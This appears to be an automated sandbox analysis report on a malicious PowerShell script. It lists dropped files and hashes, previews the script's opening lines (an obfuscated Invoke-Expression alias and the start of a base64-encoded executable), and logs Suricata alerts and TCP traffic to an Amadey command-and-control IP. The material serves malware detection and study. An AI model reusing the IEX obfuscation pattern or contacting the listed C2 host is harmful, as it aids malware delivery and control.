.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DE1.tmp.xml

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4905
Entropy (8bit):	4.686305846161819
Encrypted:	false
SSDEEP:	96:uIjfYI7On7VHJFKloFevAFqvWTzFevAFuJufqd:uIMYOn7j45H+slJufI
MD5:	8DB06691CE92511BE5F47051B8462ECD
SHA1:	BC4DED9A9372D468D23557232E3A90D0A3528E64
SHA-256:	D1D85481AA84A0C719B6A516FD2EB8CD209F63C7DD4E023260AEA03911AD3FB1
SHA-512:	EB4680C02DF9A04A814DB801642EC659C061E16A362C4B30FB1EFA2A21E79FD35308DBA0468DF1C598EE6C89C070AE1F26CBAD20BC93A46A8365B7F81B4C9EE0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="666644" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpqwugii.j20.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olyabqw3.khj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3H4WTEDDODRRWA7R5I0H.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.738168188574685
Encrypted:	false
SSDEEP:	96:8odKU33CxHu5kvhkvCCt/xP5AH4xP5BHy:roUyO1/x9xy
MD5:	2075D1AA710C95D624389E253E94275A
SHA1:	E00250325274EF97A44745BE74160D8ADC68F564
SHA-256:	6E07543A65679631EAE5328C4D629CBEA44A547CED1AC8AF8B13E02CD6678ECF
SHA-512:	6CEA3D8CD9C62E11A9BD8003074242E1586639F159CAE1FF0A736731F536CB0198D1C20A6882FF485F11799FB6B40A238476982D727F1E31AAABB14AA882D791
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....K...a..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....[..a......a......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^(Z6=...........................%..A.p.p.D.a.t.a...B.V.1.....(Z9=..Roaming.@......CW.^(Z9=...........................oY.R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^(Z<=....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.738168188574685
Encrypted:	false
SSDEEP:	96:8odKU33CxHu5kvhkvCCt/xP5AH4xP5BHy:roUyO1/x9xy
MD5:	2075D1AA710C95D624389E253E94275A
SHA1:	E00250325274EF97A44745BE74160D8ADC68F564
SHA-256:	6E07543A65679631EAE5328C4D629CBEA44A547CED1AC8AF8B13E02CD6678ECF
SHA-512:	6CEA3D8CD9C62E11A9BD8003074242E1586639F159CAE1FF0A736731F536CB0198D1C20A6882FF485F11799FB6B40A238476982D727F1E31AAABB14AA882D791
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....K...a..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....[..a......a......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^(Z6=...........................%..A.p.p.D.a.t.a...B.V.1.....(Z9=..Roaming.@......CW.^(Z9=...........................oY.R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^(Z<=....Q...........

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4662657290209005
Encrypted:	false
SSDEEP:	6144:xIXfpi67eLPU9skLmb0b4zWSPKaJG8nAgejZMMhA2gX4WABl0uNCdwBCswSb+:SXD94zWlLZMM6YFHc++
MD5:	44EEC2B1FA90433ECAD10BCCE93A0EBE
SHA1:	543480413B9D4E2509E867A7A97374112E8088AF
SHA-256:	B0F7E33183E17EAB89DB7A006773BAB481BFCB05E629E0BD8609822E9C35E77D
SHA-512:	90EB5F2F3FB09E165028DB6F8CD2ADA032D6DF63EFDF03ED0411654DF757E2493DAA5574F6C32987A77EE9D585C4A97CEDD67B2449FAB2F61D8F8F48507D6593
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..6.a................................................................................................................................................................................................................................................................................................................................................!.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65463), with CRLF line terminators
Entropy (8bit):	5.378033187505597
TrID:
File name:	nYT1CaXH9N.ps1
File size:	698'189 bytes
MD5:	ab733235a722c734fb8f19160825cef1
SHA1:	162b73031c52d7356337479488d60c333f404fdd
SHA256:	32e6d8538c6b1d47942918cef259a80e70f06feb0145d6e41d44ec5917435391
SHA512:	64a26e92c00a7a61acf71fdf819874ef6ce976117ddcaa0bea5ea3d57e2c631ff5569fdea081c6a39c73aa3ae40b0c08a049d7233c2a7e94232543cb1c4e67f6
SSDEEP:	12288:yfytehPmbJEW2WkiUHJcWzMkVjkMAkZZ7wyzDFBagP:5yWKV5jkUZUyzSgP
TLSH:	0DE47C3A8117BEBE3A2E3E8C50083D451C586ED75768D658EFC89536B2DA280DE7C4F4
File Content Preview:	ipconfig /flushdns.... $t0='IQIQQIEX'.replace('IQIQQ','');sal GG $t0;....$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAE

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T08:42:05.045163+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49737	176.113.115.131	80	TCP
2025-01-08T08:42:09.575045+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49740	176.113.115.131	80	TCP
2025-01-08T08:42:14.191636+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49745	176.113.115.131	80	TCP
2025-01-08T08:42:16.679476+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	176.113.115.131	80	TCP
2025-01-08T08:42:18.914485+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49749	176.113.115.131	80	TCP
2025-01-08T08:42:23.498611+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49751	176.113.115.131	80	TCP
2025-01-08T08:42:28.049493+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49753	176.113.115.131	80	TCP
2025-01-08T08:42:32.618665+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49755	176.113.115.131	80	TCP
2025-01-08T08:42:37.175436+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49757	176.113.115.131	80	TCP
2025-01-08T08:42:41.763864+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49759	176.113.115.131	80	TCP
2025-01-08T08:42:46.302886+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55811	176.113.115.131	80	TCP
2025-01-08T08:42:50.835270+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55813	176.113.115.131	80	TCP
2025-01-08T08:42:55.381034+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55815	176.113.115.131	80	TCP
2025-01-08T08:43:00.109511+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55838	176.113.115.131	80	TCP
2025-01-08T08:43:04.628949+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55869	176.113.115.131	80	TCP
2025-01-08T08:43:09.181141+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55897	176.113.115.131	80	TCP
2025-01-08T08:43:13.708822+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55929	176.113.115.131	80	TCP
2025-01-08T08:43:18.273842+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55961	176.113.115.131	80	TCP
2025-01-08T08:43:22.831688+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	55988	176.113.115.131	80	TCP
2025-01-08T08:43:27.388773+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56020	176.113.115.131	80	TCP
2025-01-08T08:43:31.919921+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56051	176.113.115.131	80	TCP
2025-01-08T08:43:36.481428+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56083	176.113.115.131	80	TCP
2025-01-08T08:43:41.038224+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56100	176.113.115.131	80	TCP
2025-01-08T08:43:45.574085+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56102	176.113.115.131	80	TCP
2025-01-08T08:43:50.102710+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56104	176.113.115.131	80	TCP
2025-01-08T08:43:54.672605+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56106	176.113.115.131	80	TCP
2025-01-08T08:43:59.204325+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56108	176.113.115.131	80	TCP
2025-01-08T08:44:03.754351+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56110	176.113.115.131	80	TCP
2025-01-08T08:44:08.335762+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56112	176.113.115.131	80	TCP
2025-01-08T08:44:12.906479+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56114	176.113.115.131	80	TCP
2025-01-08T08:44:17.458560+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56116	176.113.115.131	80	TCP
2025-01-08T08:44:22.035510+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56118	176.113.115.131	80	TCP
2025-01-08T08:44:26.596671+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56120	176.113.115.131	80	TCP
2025-01-08T08:44:31.162499+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56122	176.113.115.131	80	TCP
2025-01-08T08:44:35.733585+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56124	176.113.115.131	80	TCP
2025-01-08T08:44:40.266082+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56126	176.113.115.131	80	TCP
2025-01-08T08:44:44.828367+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56128	176.113.115.131	80	TCP
2025-01-08T08:44:49.376427+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56130	176.113.115.131	80	TCP
2025-01-08T08:44:53.964871+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56132	176.113.115.131	80	TCP
2025-01-08T08:44:58.568416+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56134	176.113.115.131	80	TCP
2025-01-08T08:45:03.143637+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56136	176.113.115.131	80	TCP
2025-01-08T08:45:07.716156+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56138	176.113.115.131	80	TCP
2025-01-08T08:45:12.274753+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56140	176.113.115.131	80	TCP
2025-01-08T08:45:16.834867+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56142	176.113.115.131	80	TCP
2025-01-08T08:45:21.394060+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56144	176.113.115.131	80	TCP
2025-01-08T08:45:25.968264+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56146	176.113.115.131	80	TCP
2025-01-08T08:45:30.523002+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56148	176.113.115.131	80	TCP
2025-01-08T08:45:35.080922+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56150	176.113.115.131	80	TCP
2025-01-08T08:45:39.706832+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56152	176.113.115.131	80	TCP
2025-01-08T08:45:44.265261+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56154	176.113.115.131	80	TCP
2025-01-08T08:45:48.840371+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56156	176.113.115.131	80	TCP
2025-01-08T08:45:53.412687+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56158	176.113.115.131	80	TCP
2025-01-08T08:45:57.976589+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56160	176.113.115.131	80	TCP
2025-01-08T08:46:02.527470+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	56162	176.113.115.131	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 08:42:02.106756926 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:02.111579895 CET	80	49733	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:02.111639977 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:02.113203049 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:02.117953062 CET	80	49733	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:02.811652899 CET	80	49733	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:02.811722040 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.321886063 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.322215080 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.326925039 CET	80	49733	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:04.326983929 CET	49733	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.327047110 CET	80	49737	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:04.327111959 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.327261925 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:04.332041979 CET	80	49737	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:05.045120955 CET	80	49737	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:05.045162916 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.676472902 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.676892996 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.681621075 CET	80	49737	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:06.681687117 CET	80	49738	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:06.681690931 CET	49737	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.681751966 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.683646917 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:06.688369989 CET	80	49738	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:07.377537966 CET	80	49738	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:07.377729893 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.882952929 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.883280039 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.888176918 CET	80	49740	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:08.888256073 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.888258934 CET	80	49738	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:08.888313055 CET	49738	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.888348103 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:08.893112898 CET	80	49740	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:09.574858904 CET	80	49740	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:09.575045109 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.195833921 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.196202993 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.201105118 CET	80	49740	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:11.201122999 CET	80	49743	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:11.201184988 CET	49740	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.201232910 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.201385021 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:11.206163883 CET	80	49743	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:11.897679090 CET	80	49743	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:11.897804976 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.414551020 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.415102005 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.419688940 CET	80	49743	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:13.419740915 CET	49743	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.419910908 CET	80	49745	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:13.419972897 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.420110941 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:13.424995899 CET	80	49745	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:14.191576004 CET	80	49745	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:14.191636086 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.964517117 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.967736959 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.969587088 CET	80	49745	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:15.972079039 CET	49745	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.972536087 CET	80	49748	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:15.974179029 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.978667021 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:15.983452082 CET	80	49748	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:16.679409027 CET	80	49748	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:16.679476023 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.196651936 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.197242022 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.201750994 CET	80	49748	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:18.201821089 CET	49748	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.202044964 CET	80	49749	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:18.202114105 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.202264071 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:18.207083941 CET	80	49749	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:18.914427042 CET	80	49749	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:18.914484978 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.557661057 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.558000088 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.562798023 CET	80	49750	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:20.562860012 CET	80	49749	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:20.562869072 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.562911034 CET	49749	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.566791058 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:20.571547985 CET	80	49750	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:21.269119024 CET	80	49750	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:21.269186974 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.789477110 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.789916039 CET	49751	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.794533968 CET	80	49750	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:22.794730902 CET	80	49751	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:22.794806004 CET	49750	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.794845104 CET	49751	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.795001030 CET	49751	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:22.799828053 CET	80	49751	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:23.498547077 CET	80	49751	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:23.498610973 CET	49751	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:25.133183002 CET	49751	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:25.133495092 CET	49752	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:42:25.138350010 CET	80	49752	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:25.138434887 CET	80	49751	176.113.115.131	192.168.2.4
Jan 8, 2025 08:42:25.138528109 CET	49751	80	192.168.2.4	176.113.115.131
